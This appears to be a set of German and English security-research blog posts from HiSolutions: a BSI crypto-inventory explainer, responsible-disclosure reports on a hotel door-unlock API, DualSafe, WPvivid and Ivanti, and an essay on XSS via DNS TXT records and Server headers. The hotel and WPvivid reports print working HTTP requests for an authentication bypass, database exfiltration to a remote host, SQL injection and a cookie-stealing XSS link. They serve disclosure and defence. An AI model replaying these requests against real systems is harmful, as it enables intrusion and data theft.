BSI-Grundschutz-Krypto-Kataster: Ein Baustein für die Aufrechterhaltung einer sicheren IT-Infrastruktur 

In der heutigen digitalen Welt ist die Sicherheit von IT-Umgebungen von entscheidender Bedeutung. Das Bundesamt für Sicherheit in der Informationstechnik (BSI) hat mit dem IT-Grundschutz ein umfassendes Rahmenwerk geschaffen, das Organisationen beim Schutz ihrer IT-Infrastruktur unterstützt. Seit der Edition 2023 wurde der Prozess-Baustein CON.1 (Kryptokonzept) um die Standard-Anforderungen zur Erstellung eines Krypto-Katasters (A15 & A19) erweitert. Hiermit schafft das BSI eine Grundlage für Krypto-Agilität, ohne es explizit so zu nennen. 

Was ist das Krypto-Kataster nach BSI-Grundschutz? 

Ein Krypto-Kataster ist ein umfassendes Verzeichnis, das alle kryptografischen Verfahren und deren Einsatz in einer Organisation systematisch erfasst und dokumentiert. Es enthält Informationen über die verwendeten kryptographischen Verfahren, die eingesetzten Schlüssel und die zugehörigen Sicherheitsparameter. Ziel ist es, einen klaren Überblick zu erhalten und die Sicherheit der damit umgesetzten Maßnahmen zu gewährleisten. Durch regelmäßige Überwachung auf Bekanntwerden von Schwachstellen in kryptografischen Verfahren (oder deren Implementierung) kann frühzeitig erkannt werden, ob ein Risiko für die Organisation besteht und gegebenenfalls zielgerichtet Maßnahmen ergriffen werden. Ein gut gepflegtes Krypto-Kataster trägt somit wesentlich zur IT-Sicherheit bei und unterstützt auch die Einhaltung gesetzlicher und regulatorischer Anforderungen. 

Was ist Krypto-Agilität? 

Krypto-Agilität bezeichnet die Fähigkeit einer Organisation, schnell und effizient auf Veränderungen (wie z. B. neu entdeckte Schwachstellen) in der eingesetzten Kryptografie zu reagieren. Dies umfasst die Einführung neuer Algorithmen, die Aktualisierung bestehender Verschlüsselungsverfahren (einschließlich der Schlüssellänge oder anderer Sicherheitsparameter) und die Anpassung an neue Sicherheitsstandards. In einer sich ständig verändernden Bedrohungslandschaft ist Krypto-Agilität entscheidend, um sicherzustellen, dass Prozesse, Systeme und Daten jederzeit ausreichend geschützt sind. Mithilfe eines Reifegradmodells, wie es z. B. in dem Paper „Towards a maturity model for crypto-agility assessment“ aus 2022 von einer Arbeitsgruppe der Hochschule Darmstadt vorgestellt wird, kann der aktuelle Zustand der eigenen Krypto-Agilität intern transparent gemacht werden. 

Ziele des BSI-Grundschutz-Krypto-Katasters 

Das Krypto-Kataster erfasst für jede Gruppe von IT-Systemen die dort eingesetzte Hard- oder Software mit kryptografischen Funktionen sowie die korrekten eingesetzten kryptografischen Verfahren, einschließlich deren Einsatzzweck (z. B. Festplattenverschlüsselung oder Verschlüsselung einer Kommunikationsverbindung) und deren sicherheitsrelevante Parameter (z. B. Schlüssellängen). Ergänzend muss noch eine zuständige Person benannt werden, die bei Änderungen oder Fragestellungen zu den im Krypto-Kataster gemachten Angaben primärer Ansprechpartner ist. 

Auch wenn der BSI-Grundschutz es nicht fordert, ist es empfehlenswert sich zu jedem eingesetzten kryptografischen Verfahren Gedanken über die erwartete Einsatzdauer zu machen und wie ein möglicher Austausch (ggf. auch nur eine Anpassung) umgesetzt werden könnte. Fügt man diese Informationen dem Krypto-Kataster bei, startet man (ähnlich wie bei dem Notfallkonzept) nicht bei null, wenn eine neu eingetretene oder realisierte Situation einen schnellen Wechsel erfordert. Diese können den im Kryptokonzept dokumentierten Prozess für den Fall, dass Schwachstellen in kryptografischen Verfahren auftreten, ergänzen. 

Folgende Ziele einer Krypto-Agilität werden durch das Krypto-Kataster gefördert: 

Transparenz und Kontrolle: Ein Krypto-Kataster bietet einen klaren Überblick über alle verwendeten kryptografischen Verfahren und Schlüssel. Dies erleichtert die Verwaltung der kryptographischen Verfahren und das Erkennen von Sicherheitslücken. Eine jährliche Kontrolle des Krypto-Katasters kann helfen festzustellen, ob die eingesetzten kryptografischen Verfahren und die zugehörigen Parameter noch ausreichend sicher sind und keine bekannten Schwachstellen aufweisen. 

Schnelle Reaktion auf Bedrohungen: Durch die Information wo und wie kryptografische Verfahren eingesetzt werden sowie bereits dokumentierte Überlegungen zu deren Austausch, können Organisationen schnell auf neue Bedrohungen reagieren und ihre Sicherheitsmaßnahmen entsprechend anpassen. Damit sind die eingesetzten kryptografischen Verfahren stets auf dem neuesten Stand und auf die aktuellen Bedrohungen bestmöglich abgestimmt. 

Compliance und Audits: Ein gut geführtes Krypto-Kataster unterstützt Organisationen dabei, gesetzliche und regulatorische Anforderungen zu erfüllen und erleichtert Audits und Sicherheitsüberprüfungen. 

Fazit 

Während das Kryptokonzept weitgehend Vorgaben macht, welche kryptografischen Verfahren prinzipiell zulässig und welche bevorzugt einzusetzen sind, erfasst das Krypto-Kataster, welche Verfahren auf welche Art und Weise tatsächlich eingesetzt werden. Es ist damit ein unverzichtbares Werkzeug für die IT-Sicherheit. In Kombination mit den Prinzipien der Krypto-Agilität und den Richtlinien des BSI-Grundschutzes bietet es eine strukturierte und systematische Herangehensweise, um kryptografische Verfahren zu verwalten. 

Die Implementierung eines Krypto-Katasters gemäß den BSI-Grundschutz-Richtlinien unter Berücksichtigung der Krypto-Agilität ist ein wesentlicher Schritt, um auch auf die Bedrohung der Existenz eines kryptografisch relevanten Quantencomputers in angemessener Zeit reagieren zu können oder sogar festzustellen, wo bereits jetzt Handlungsbedarf bestehen könnte. 

Schwachstelle öffnet Türen in mehr als 3.000 Hotels

Es mag bequem klingen: Die Zimmertür im Hotel lässt sich ganz ohne Schlüssel oder Karte vom Smartphone aus entriegeln. Doch was passiert, wenn die Logik eines solchen Systems nicht ausreichend abgesichert ist?

Zimmertüren von Hotels aus über 25 Ländern ließen sich mit einer neu entdeckten Schwachstelle öffnen. Bequem? Ja, über das Internet und ohne Zugangsdaten. Dazu konnten sämtliche Reservierungsinformationen (u. a. Name, E-Mail, Reservierungszeitraum und Raumnummer) eingesehen werden. Doch wie kam es dazu?

Zusammenfassung

Die Firma straiv ist ein innovativer und digitaler Begleiter für Hotelbranchen. Als solcher bieten sie unter anderem Online-Check-ins und digitale Türöffnungen an. Was den Sicherheitsforschern Björn Brauer, Deniz Adrian und David Mathiszik bei einem Hotelbesuch jedoch auffiel: Angreifenden wäre es dank einer fehlerhaften Zugangskontrolle in der API möglich, den Check-in und das Öffnen von Türen auch ohne Autorisierung über das Internet zu bedienen.

Im Rahmen einer vertraulichen Offenlegung (engl. Responsible Disclosure oder auch Coordinated Vulnerability Disclosure – CVD) wurden die technischen Details daraufhin direkt an den Hersteller übermittelt. straiv reagierte zeitnah und behob die Sicherheitslücke in ihrer Anwendung umgehend.


Dank ihres Software-as-a-Service-Ansatzes konnte das Unternehmen das Sicherheitsrisiko zeitgleich für alle Kunden mitigieren. Es wird daher auch keine CVE-ID für diese Schwachstelle vergeben. Die Veröffentlichung der Schwachstelle erfolgt in Abstimmung mit dem Hersteller frühestens einen Monat nach der erfolgreichen Behebung.

Die Ursache: Broken Access Control

Broken Access Control belegt aktuell Platz 1 unter den beliebtesten (lies: häufigsten) Schwachstellen in Webanwendungen (siehe: A01:2021 – OWASP Top 10). Auch hier war eine fehlerhafte Zugriffskontrolle die Ursache.

Für gewöhnlich erhalten Gäste eine E-Mail mit einem Link zu ihrer Reservierung. Über diesen werden sie auf die Webanwendung von straiv weitergeleitet. Dort können Buchungsinformationen, die Reisedaten und alle Begleiterprofile eingesehen werden. Ein weiterer Menüreiter führt zu den digitalen Zimmerschlüsseln. Darüber kann die Zimmertür während des eigenen Buchungszeitraums gesteuert werden. Dies geschieht über die API von straiv.io.

Normale API-Anfragen schienen mindestens durch einen HTTP-Header (X-Token), einen Code (cryptcode) und die Reservierungsnummer (reservation) geschützt zu werden. Wurde auch nur einer der Werte verändert, so wurde der Zugriff erwartungsgemäß verwehrt. Fehlten jedoch alle Werte gleichzeitig, wurde nur noch die Reservierungsnummer interpretiert.

In der folgenden beispielhaften Anfrage wurden sämtliche Authentifizierungsparameter, bis auf die Reservierungsnummer, leer gelassen und die API antwortete dennoch mit Informationen zur Reservierung.

POST /api/v2/auth HTTP/2
Host: start.straiv.io
X-Token:
X-Code:
X-Version: 12.3.0
Content-Type: application/json
{
    "cryptcode":"",
    "platform":"linux",
    "browser":"Firefox",
    "version":"115.0",
    "tokens":[],
    "reservation":"3XXXXX"
}

Das Ergebnis enthielt neben anderen Informationen auch einen validen token, der für weitere API-Anfragen genutzt werden konnte.

So lieferte der folgende API-Aufruf noch mehr Kundendetails:

GET /api/v2/vblo/pms/reservation?reservation_id= HTTP/2
Host: start.straiv.io
Accept: application/json, text/plain, */
X-Token: sXXXXXXXXXXXXXXXXXXXh
X-Code: XXXX
X-Version: 12.3.0

Statt die API zu verwenden, kann auch die remote_url aus der Antwort der ersten API-Anfrage verwendet werden, um bequem über die Webanwendung auf die Reservierung zuzugreifen:

HiSolutions hat keine Enumeration von Nutzerdaten durchgeführt und über das Abschätzen der Auswirkungen dieser Schwachstelle hinaus nicht mit der API oder den Buchungen interagiert. Prinzipiell standen alle Funktionalitäten des legitimen Benutzers uneingeschränkt zur Verfügung.

Mitigation

Für die Kunden von straiv bestand kein weiterer Handlungsbedarf. Die Sicherheitslücke wurde von den Entwicklern ernst genommen und umgehend geschlossen.

Grundsätzlich lassen sich Fehler dieser Art durch folgende allgemeine Empfehlungen verhindern:

  • Vertrauen Sie keinen Nutzereingaben – validieren Sie diese.
    Verlassen Sie sich nie auf die Gültigkeit von jeglichen Werten, die von den Endbenutzern beeinflusst werden können. Dazu gehören auch Cookie-Werte, Anfragenparameter und HTTP-Header. Auch auf serverseitig gespeicherte Informationen sollte nich blind in allen Kontexten vertraut werden.
  • Überprüfen Sie Gültigkeit aller Werte serverseitig. Weisen Sie leere oder ungültige Authentifizierungsinformationen zurück. Achten Sie bei der Implementierung von Tests auf eine vollständige Abdeckung aller Randszenarien (ein, mehrere oder auch alle Werte sind unerwartet, NULL, nicht definiert, vom falschen Typ, etc.).
  • Verwenden Sie starke Authentifizierungsmethoden.
    Implementationen sind stets abhängig von der Anwendung und dem Kontext. Greifen Sie, wenn möglich, auf bewährte und praxiserprobte Bibliotheken und Authentifizierungslösungen zurück. Verwenden Sie besonders in Bezug auf sensitive Informationen Zwei-Faktor-Authentifizierung. Stellen Sie zudem sicher, dass alle automatisch generierten Schlüssel, Codes und Token nicht leicht zu erraten und somit vor Brute-Force-Angriffen geschützt sind (vgl. UUID v4).
  • Durchsatzbegrenzung (engl. Rate Limiting) der API-Anfragen:
    Begrenzen Sie die mögliche Anzahl der Anfragen von einzelnen Systemen, um dem Missbrauch, wie der schnellen Enumeration von gültigen Reservierungen, vorzubeugen.

In ihrem Update hat straiv mindestens eine Anfragenbegrenzung aktiviert und Reservierungsnummern auf ein nicht-erratbares Format geändert.

Wie HiSolutions helfen kann

HiSolutions bietet spezialisierte Penetrationstests für Webanwendungen und Infrastrukturen an. Hierbei greifen wir auf langjährige Erfahrung zurück und kombinieren die Fähigkeiten modernster Scantechnologien mit manuellen Prüfverfahren, um die bestmögliche Testabdeckung zu gewährleisten.

Stellen Sie sicher, dass Schwachstellen gefunden und behoben werden, bevor Sie ausgenutzt werden können und kontaktieren Sie uns unter +49 30 533 289 0 oder dem Kontakformular für ein kostenloses Erstgespräch.

Koordinierte Veröffentlichung

  • 22.05.2024 HiSolutions sammelt Details zur Schwachstelle.
    Finder: Björn Brauer, Deniz Adrian & David Mathiszik
  • 23.05.2024 HiSolutions informiert betroffene Hotelkette und wird an straiv weitergeleitet.
  • 25.05.2024 straiv vereinbart einen Termin für die Übermittlung aller Details.
  • 04.06.2024 HiSolutions teilt alle Details mit straiv.
  • 06.06.2024 straiv veröffentlicht ein Update und HiSolutions bestätigt den Fix.

CVE-2024-24272 – DualSafe Password Manager Leaks Credentials

During an investigation, HiSolutions discovered a credential leak of a password manager that was installed as browser extension. After reporting the vulnerability, the vendor was quick to respond and implemented a fix.

Summary

The DualSafe Password Manager by iTop before version 1.4.24 leaks credentials as plaintext in a log file that can be accessed by the local user without knowledge of the master secret (CWE-532). This vulnerability was assigned CVE-2024-24272.

Update to the newest version (at least 1.4.24) as soon as possible and replace potentially leaked credentials.

Vulnerability Details

The following details were produced in a test setup with the vulnerable version 1.4.21 of the DualSafe Password Manager installed in Chrome. After storing and using several credential pairs via the blue extension icon on the top right corner, the log file started showing some entries that contain the plaintext credentials.

Logging is done via a text file in the directory of the browser extension, in this case: C:\Users\User\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgbjhdkjmpgjgcbcdlhkokkckpjmedgc\000003.log (file name may vary).

The following image depicts the credential pair stored in DualSafe (right) as well as the log file that contains the same password as plaintext (left).

DualSafe password manager and its log file. Cleartext credentials are marked in the log file.
DualSafe Password Manager leaks plaintext password in log file.

One interesting thing to note is that, while the log file contains some credentials as plaintext in a structure like this one: cacheTabinfoes1_1Þ{"[...]":{"confirmItem":{"pwd":"<password>",[...], "type":"login","uname":"<user>","uri":["<url>"]}}}, there are also similar structures with the key pwd but their value is encrypted. Though the observed log events did not indicate the exact trigger for an entry with a plaintext password, passwords could already be extracted after just a few login attempts.

Usually, the password manager requires a master secret to unlock and access the stored credentials. This vulnerability allows an attacker to harvest stored credentials from the log file without knowing the master secret.

Remediation

iTop announced a fix in version 1.4.24.

Shortly after reporting the vulnerability details to iTop, a fix was implemented and rolled out across Firefox, Edge, and Chrome. Update to the newest version as soon as possible and check for potentially leaked passwords in the described location (the exact path depends on the browser).

Should passwords have been leaked this way, rotate them after updating the extension.

Responsible Disclosure Timeline

  • 04.01.2024 – HiSolutions contacts iTop
  • 30.01.2024 – HiSolutions contacts iTop again after no response
  • 31.01.2024 – iTop responds and requests vulnerability details
  • 31.01.2024 – HiSolutions provides all vulnerability details
  • 01.02.2024 – iTop announces that a fix has been implemented and will be published soon
  • 02.02.2024 – iTop requests a delay before publication to roll out the fix
  • 05.02.2024 – iTop releases 1.4.24 on Firefox and Edge
  • 15.02.2024 – iTop releases 1.4.24 on Chrome
  • 12.03.2024 – HiSolution requests green light for publication
  • 13.03.2024 – iTop accepts and states that 1.4.24 fixes the vulnerability

Credits

This vulnerability was discovered by Paula T., Joshua Z. and Pascal B. (HiSolutions AG). We also thank iTop for their swift response and remediation regarding this vulnerability.

Multiple vulnerabilities in WordPress Plugin – WPvivid Backup and Migration

As part of a customer project, multiple vulnerabilities in the WordPress plugin WPvivid Backup and Migration (Free Edition) were identified and further investigated outside the project to determine the impact in more detail.

The vulnerabilities were identified in version 0.9.68 and probably exist in older versions as well. Upgrade the plugin WPvivid Backup and Migration (Free Edition) to the version 0.9.69 or higher as soon as possible to fix the vulnerabilities.

Background Information

WPvivid Backup and Migration is a WordPress plugin by WPvivid Team and offers backup, migration, and staging as basic features. This plugin has more than 200,000 active installations.

The vulnerabilities

Functions of the WPvivid Backup and Migration plugin in version 0.9.68 can be called remotely without authentication, which allows attackers to exfiltrate the entire WordPress database, for example, or to fill the hard disk of the corresponding system by multiple local copies of the WordPress pages disturbing their availability (CVE-2024-1982).

Furthermore, SQL queries can be manipulated (SQL injection), which means that further database contents can probably be read or manipulated without authentication (CVE-2024-1981).

The plugin is also vulnerable to stored cross-site scripting attacks . For this, a WordPress administrator must execute a manipulated link, for example. This vulnerability was simultaneously published by another researcher and is already tracked under CVE-2021-24994.

Unauthenticated Access to WPvivid Functions (CVE-2024-1982)

The following plugin functions can be called unauthenticated e. g. over the Internet:

  • wp_ajax_nopriv_wpvivid_restore
  • wp_ajax_nopriv_wpvivid_get_restore_progress
  • wp_ajax_nopriv_wpvividstg_start_staging_free
  • wp_ajax_nopriv_wpvividstg_get_staging_progress_free

The function wp_ajax_nopriv_wpvividstg_start_staging_free can be used to trigger the creation of a staging web page. Selected or all files of the WordPress installation are copied into a definable subdirectory. This functionality can be started without prior authentication like this:

POST /wp-admin/admin-ajax.php?action=wpvividstg_start_staging_free HTTP/1.1
Host: myblog.hisocorp.com
[…]
Content-Type: application/x-www-form-urlencoded

path=custom_name_staging_page&table_prefix=something&custom_dir=something&additional_db={"test":"test"}&root_dir=0

Afterwards, the server response {"result":"success","task_id":"wpvivid-61ba042730a63"} indicates that the action was successful.

By continuously running this function to create staging versions of the web application an attacker can exhaust the systems disk space. Normal operation of the system and especially of the web application can thus no longer be provided.

By specifying a remote system in the parameters of the function wp_ajax_nopriv_wpvividstg_start_staging_free, the contents of the WordPress installation can be exfiltrated. This can be done as in the following example request:

POST /wp-admin/admin-ajax.php?action=wpvividstg_start_staging_free HTTP/1.1
Host: example.org
[…]
Content-Type: application/x-www-form-urlencoded
 
path=name_existing_staging_page&create_new_wp=1&additional_db={"additional_database_check":"1","additional_database_info":{"db_host":"192.168.0.5","db_name":"something","db_user":"username","db_pass":"password"}}&custom_dir={"database_check":1}&table_prefix=something

Afterwards, the status must be queried once via the function wpvividstg_get_staging_progress_free:

POST /wordpress/wp-admin/admin-ajax.php?action=wpvividstg_get_staging_progress_free HTTP/1.1
Host: myblog.hisocorp.com
Content-Type: application/x-www-form-urlencoded

Thus, an attacker can retrieve sensitive data from WordPress databases.

Update: The vendor fix in version 0.9.69 simply disables the wpvividstg_start_staging_free action, see code changes to includes/staging/class-wpvivid-staging.php here.

SQL Injection in WPvivid Function (CVE-2024-1981)

The parameter table_prefix in the function wpvividstg_start_staging_progress_free appears to be vulnerable to an SQL injection. However, no more in-depth exploitability was performed as part of the research.

The following HTTP request was sent to the plugin function with the parameter value test':

POST /wordpress/wp-admin/admin-ajax.php?action=wpvividstg_start_staging_free HTTP/1.1
Host: myblog.hisocorp.com
[…]
Content-Type: application/x-www-form-urlencoded

 
path=something&additional_db={"test":"test"}&custom_dir={"database_check":1}&table_prefix=test'

Subsequently, the status must be queried once via the function wpvividstg_get_staging_progress_free:

POST /wordpress/wp-admin/admin-ajax.php?action=wpvividstg_get_staging_progress_free HTTP/1.1
Host: myblog.hisocorp.com
Content-Type: application/x-www-form-urlencoded

It may happen that the status has to be queried several times until the following response containing the SQL exception is returned:

{"continue":0,"error":1,"error_msg":"Failed to create a table. Error:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '` (\n  `meta_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,\n  `comment_id` b...' at line 1, query:CREATE TABLE `test'commentmeta` (\n  `meta_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,\n  `comment_id` bigint(20) unsigned NOT NULL DEFAULT 0,\n  `meta_key` varchar(255) DEFAULT NULL,\n  `meta_value` longtext DEFAULT NULL,\n  PRIMARY KEY (`meta_id`),\n  KEY `comment_id` (`comment_id`),\n  KEY `meta_key` (`meta_key`(191))\n) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4","log":"open log file failed","percent":50,"result":"success"}

Update: Here, the vendor fix in version 0.9.69 is the same as for the previous vulnerability. The wpvividstg_get_staging_progress_free action was simply disabled by commenting it out in includes/staging/class-wpvivid-staging.php, see here.

Stored Cross Site Scripting (XSS) in WPvivid

Update: This vulnerability was also independently discovered and reported by another researcher and was assigned CVE-2021-24994 (published during the responsible disclosure process, see here).

The plugin offers remote storage on a Google Drive. For this, an account (called Google Drive Remote Storage Account) for the corresponding authentication must be provided. The name of the specified account is included partially unfiltered in an onclick JavaScript area within the plugin. This means that arbitrary HTML and JavaScript code can be injected. This behavior allows stored XSS attacks via the plugin web interface.

When a logged in WordPress administrator executes the following link, an account with the specified name is automatically stored in the plugin:

http://myblog.hisocorp.com/wp-admin/admin.php?page=WPvivid&action=wpvivid_google_drive_finish_auth&name=test2%22%20onload%3dalert(document.cookie)%3E&default=lll%27%22lll&auth_id

The payload passed in this example adds the JavaScript attribute onload, which is used to display the session cookies in an alert box:

Responsible Disclosure Timeline

  • 15.12.2021 – HiSolutions identified the vulnerabilities
  • 14.01.2022 – HiSolutions contaced WPvivid Team via contact form
  • 20.01.2022 – WPvivid Team responds and HiSolutions sends the details regarding the vulnerabilities
  • 14.02.2022 – WPvivid Team provides the new version 0.9.69 in which the vulnerabilities should be fixed
  • 01.03.2022 – HiSolutions tests the new version. The vulnerabilities were fixed.
  • 29.02.2024 – The Wordfence CNA issues CVE-2024-1981 and CVE-2024-1982.

Credits

The vulnerabilities were found by Denis Werner (HiSolutions AG). The fixes were reviewed by David Mathiszik (HiSolutions AG).

Eine 10 von 10 – Ivanti CVE-2023‑35078 – Hilfe zur Selbsthilfe


Update vom 10.08.2023:

Für Ivanti Endpoint Manager Mobile (EPMM) wurde am 03.08.2023 eine weitere Schwachstelle (CVE‑2023-35082) mit einer CVSS-Bewertung von 10.0 veröffentlicht. Die Schwachstelle ist ähnlich zu der initial veröffentlichen CVE-2023-35078. Am 07.08.2023 hat Invanti veröffentlicht, dass diese Schwachstelle alle Versionen von EPMM betrifft. Die Maßnahmen zum Schließen der Schwachstelle und einer Identifizierung eines Angriffs wurden in dem Dokument „Hilfe zur Selbsthilfe – CVE‑2023‑35078“ ergänzt.


Update vom 01.08.2023:

Auf Basis der bereits veröffentlichten Expoits konnte der String zur Identifizierung eines Angriffs genauer bestimmt werden. Diese finden Sie in dem Dokument „Hilfe zur Selbsthilfe – CVE-2023 35078“ unter dem Punkt 2.


Update vom 31.07.2023:

Seit dem Wochenende gibt es die ersten öffentlichen Proof of Concept Exploits auf GitHub. Die teilweise in Python geschriebenen Programme ermöglichen eine automatische Ausnutzung der Ivanti Schwachstelle CVE-2023-35078.

Zusätzlich wurde am 28.07.2023 von Ivanti eine weitere Sicherheitslücke (CVE-2023-35081) publiziert. Hierbei handelt es sich um eine Schwachstelle welche es dem Angreifer erlaubt als authentifizierten Administrator beliebige Schreibvorgänge auf dem EPMM-Server durchzuführen.


Am 24. Juli 2023 hat der Hersteller Ivanti Informationen zu der Sicherheitslücke CVE-2023‑35078  veröffentlicht. Die Schwachstelle betrifft die Software „Ivanti Endpoint Manager Mobile“ (EPMM), auch bekannt als MobileIron Core. Um unseren Kunden eine Möglichkeit zu geben, erste Maßnahmen zu ergreifen und ihre Systeme zu prüfen, haben wir einen Leitfaden „Hilfe zur Selbsthilfe – CVE-2023‑35078“ erstellt. Der Leitfaden kombiniert die öffentlichen Informationen der staatlichen Sicherheitsbehörden, Fach-Blogs und die Angaben des Herstellers mit der Expertise der HiSolutions.

Sollten Sie Ivanti bzw. MobileIron Core nutzen, prüfen Sie bitte anhand des Dokuments, ob Sie alle relevanten Maßnahmen ergriffen haben.

HINWEIS: Das Dokument wird laufend aktualisiert. Bitte achten Sie daher auch auf weitere Veröffentlichungen auf unserem Research-Blog. Weitere Informationen und Cybersicherheitswarnungen erhalten Sie auch beim Bundesamt für Sicherheit in der Informationstechnik (BSI) unter https://www.bsi.bund.de/SiteGlobals/Forms/Suche/BSI/Sicherheitswarnungen/Sicherheitswarnungen_Formular.html


XSS auf Abwegen

Cross-Site-Scripting (XSS) ist ansich eine altbekannte Schwachstelle, die in den meisten gängigen Frameworks mittels Eingabevalidierung standardmäßig mitigiert wird. Auch viele Individualanwendungen im Netz behandeln Eingabefelder, die von Dritten ausgefüllt werden, inzwischen sehr vorsichtig.

Zweckentfremdete DNS-Records

Dass derartige Angriffsvektoren oft auch von unerwarteter Seite kommen, zeigte sich, als ich nach der Lektüre des sehr lesenswerten Artikels The Joy of TXT von Peter Lowe ein wenig mit meinen DNS-Einträgen herumspielte – und prompt auf verschiedenen Seiten, die TXT-DNS-Records auslesen und anzeigen, mit meinen eigenen Popups begrüßt wurde.

TXT-Records werden oft für Validierungszwecke eingesetzt, die über die Standard-DNS-Records nicht abgedeckt werden können. Hierzu zählen meist SPF-, DMARC- und DKIM-Einträge sowie verschiedene Validierungen von Drittanbieter-Services. Unter anderem kann ein derartiger Eintrag zum Beispiel von LetsEncrypt genutzt werden, um die Domain zu verifizieren.
Doch die Möglichkeiten sind praktisch unbegrenzt. TXT-Records können, wie im Artikel beschrieben, sogar relativ große Mengen an Text bereitstellen. Und damit natürlich auch Javascript-Snippets, die auf abfragenden Webseiten mit XSS-Schwachstellen dafür sorgen können, dass Code im Webbrowser angezeigt wird.

Die bekanntesten Anbieter für DNS-Validierungsdienste und artverwandte Services entschärfen derartige Einträge standardmäßig. Auf der Webseite wird der bereinigte Inhalt der TXT-Records angezeigt, das Script kommt nicht zur Ausführung. Doch Ausnahmen bestätigen die Regel: Einige Anbieter scheinen davon auszugehen, dass von dieser Seite keine Gefahr droht und binden die Inhalte ungefiltert im Browser ein – unerwünschten Code inbegriffen.

Unübliche Server-Header

Bei meiner Recherche stieß ich auf eine weitere oft unvalidierte Quelle von fremdem Input: Server-Header. Auch hier wird bei den meisten Anbietern viel vorgefiltert, doch eben nicht bei allen. Und während das Einfügen von Javascript-Code in den meisten Standard-Headern vermutlich zu sehr unvorhersehbarem Verhalten führen würde, gibt es mindestens einen Header, der offensichtlich noch harmlos genug erscheint, um ihn ungefiltert wieder auszugeben: Der „Server“-Header.

Wer sich ein wenig mit den üblichen Verdächtigen Apache, Nginx und IIS auseinandergesetzt hat, wird sicherlich bemerkt haben, dass das Ändern des Server-Headers nicht ganz trivial ist, was diese Wahrnehmung möglicherweise bestärkt. Und während böswillige Aktoren zwar das Wissen haben mögen, wie man den Quellcode eines Webservers anpasst und ihn neu kompiliert, scheint das doch ein recht sperriger Weg zu sein. Doch es gibt mindestens für den Apache Möglichkeiten, den Server-Header nahezu komplett umzuschreiben – kurioserweise mittels des Standard-Moduls „security2“, also known as „modsecurity“.

So gelingt es in einigen Fällen relativ einfach, JavaScript auf Seiten, die Server-Header anzeigen, im Browser zur Ausführung zu bringen. Abhilfe schafft auch hier nur serverseitige Filterung – oder ein Scriptblocker auf Clientseite, der oft aber auch die Funktionalität der Webseite beeinträchtigt, da der eingeschleuste Inhalt ebenfalls im Kontext der Webseite ausgeführt wird. Ein Scriptblocker kann das fremde Script nicht von den regulär eingebundenen Scripten unterscheiden.

Eingeschränkt sinnvoll: Der User Agent

Eine eher esoterische Möglichkeit, Scripte im Browser zu injizieren, ist die Manipulation des User Agent des verwendeten Browsers. Dies kann relativ simpel über Add-Ons geschehen, führt aber in vielen Fällen dazu, dass Aufrufe von Webseiten fehlschlagen. Schuld ist hier ein vorgelagerter Security-Proxy oder – Kuriosum Nummer zwei – das bereits erwähnte „security2“-Modul im Apache. Diese Maßnahmen erkennen das Script im User Agent und sperren den aufrufenden Browser direkt aus.

Der Nutzen dieser Variante ist hingegen fraglich: Sie muss auf dem lokalen Client eingestellt werden und betrifft damit auch nur diesen. Für Angriffe auf Fremdsysteme ist sie unbrauchbar. Man benötigt also bereits Zugriff auf das anzugreifende System – ein Henne-Ei-Problem. Zum Testen der serverseitigen Validierung und aktiver Sicherheitsmechanismen taugt die Methode jedoch allemal. Vorausgesetzt, dass der Server den User Agent auf einer seiner Seiten auch anzeigt.

Fazit: Vertraue niemandem!

Gelingt es, jemanden dazu zu bringen, eine verwundbare Seite aufzurufen und die präparierte Domäne in das entsprechende Textfeld einzutragen, ist ein erfolgreicher Angriff durchaus wahrscheinlich. Und einem Hilferuf in einem beliebigen Supportforum, die Validierungsseite zeige beim eigenen Server Fehler an, können viele Techies nicht widerstehen. Manche Webservices erlauben sogar das Angeben der zu überprüfenden Domäne über einen URL-Parameter, das manuelle Eingeben der Domain entfällt durch den Klick auf den Link damit komplett. Dass derartige Seiten Fremdcode einbetten vermutet auch in der technisch versierten Community bei weitem nicht jeder. Und da diejenigen, die sich gerne als Helfer in Support-Foren tummeln, oft auch in der technischen Administration in Unternehmen tätig sind, ist der Sprung zu Supply-Chain-Attacken nicht nur theoretisch denkbar.
Selbstverständlich können auf Seiten des potenziellen Opfers Virenscanner und Scriptblocker aktiv sein und den Angriff abfangen, doch dieses Risiko geht ein Angreifer immer ein.

Es zeigt sich jedenfalls wieder, dass generell bei jedem Input, bei jeder Variable, bei jedem Datenbankeintrag, der nicht vom eigenen System(-verbund) kommt, Vorsicht geboten ist. Eine zusätzliche Absicherung der Systeme, beispielsweise mittels Web Application Firewall, Security-Modulen oder vorgelagerten Prüfsystemen, sollte Standard sein. Zusätzliche Sicherheit bietet beispielsweise eine restriktive Content Security Policy (CSP), die das Ausführen von Inline-Scripten und das Nachladen von fremden Domains im Browser komplett unterbindet.

„Acropalypse“ NOW!

Aufgrund einer Schwachstelle in der Bildverarbeitungssoftware von Google-Pixel Smartphones (Package-ID „com.google.android.markup“) und dem Windows 11 Snipping-Tool (unter Windows 10 genannt „Ausschneiden und skizzieren“) können aus einem beschnitten Bild („cropped image“) große Teile des Originalbilds wiederhergestellt werden. Sofern durch das Abschneiden des Bildinhaltes sensible Bereiche entfernt wurden, wie z. B. Bankdaten, persönliche Informationen oder Gesichter, ließen sich diese durch fremde Personen auslesen und für bösartige Absichten verwenden.

Hintergrund

Aufgrund einer Schwachstelle in der Bildverarbeitungssoftware von Google-Pixel Smartphones (Google Markup) und dem Windows 11 Snipping-Tool (unter Windows 10 genannt „Ausschneiden und skizzieren“) können aus einem beschnitten Bild („cropped image“) große Teile des Originalbilds wiederhergestellt werden. Sofern durch das Abschneiden des Bildinhaltes sensible Bereiche entfernt wurden, wie z. B. Bankdaten, persönliche Informationen oder Gesichter, ließen sich diese durch fremde Personen auslesen und für bösartige Absichten verwenden.

Simon Aarons und David Buchanan fiel auf, dass dies bei beschnittenen Fotos auf Google Pixel Smartphones nicht der Fall zu sein scheint. Das Smartphone zeigte zwar ausschließlich den beschnittenen Bildbereich an, dennoch blieb die Dateigröße nahezu unverändert. Dies legte den Verdacht nahe, dass die originalen Bildinformationen noch vorhanden sein könnten.

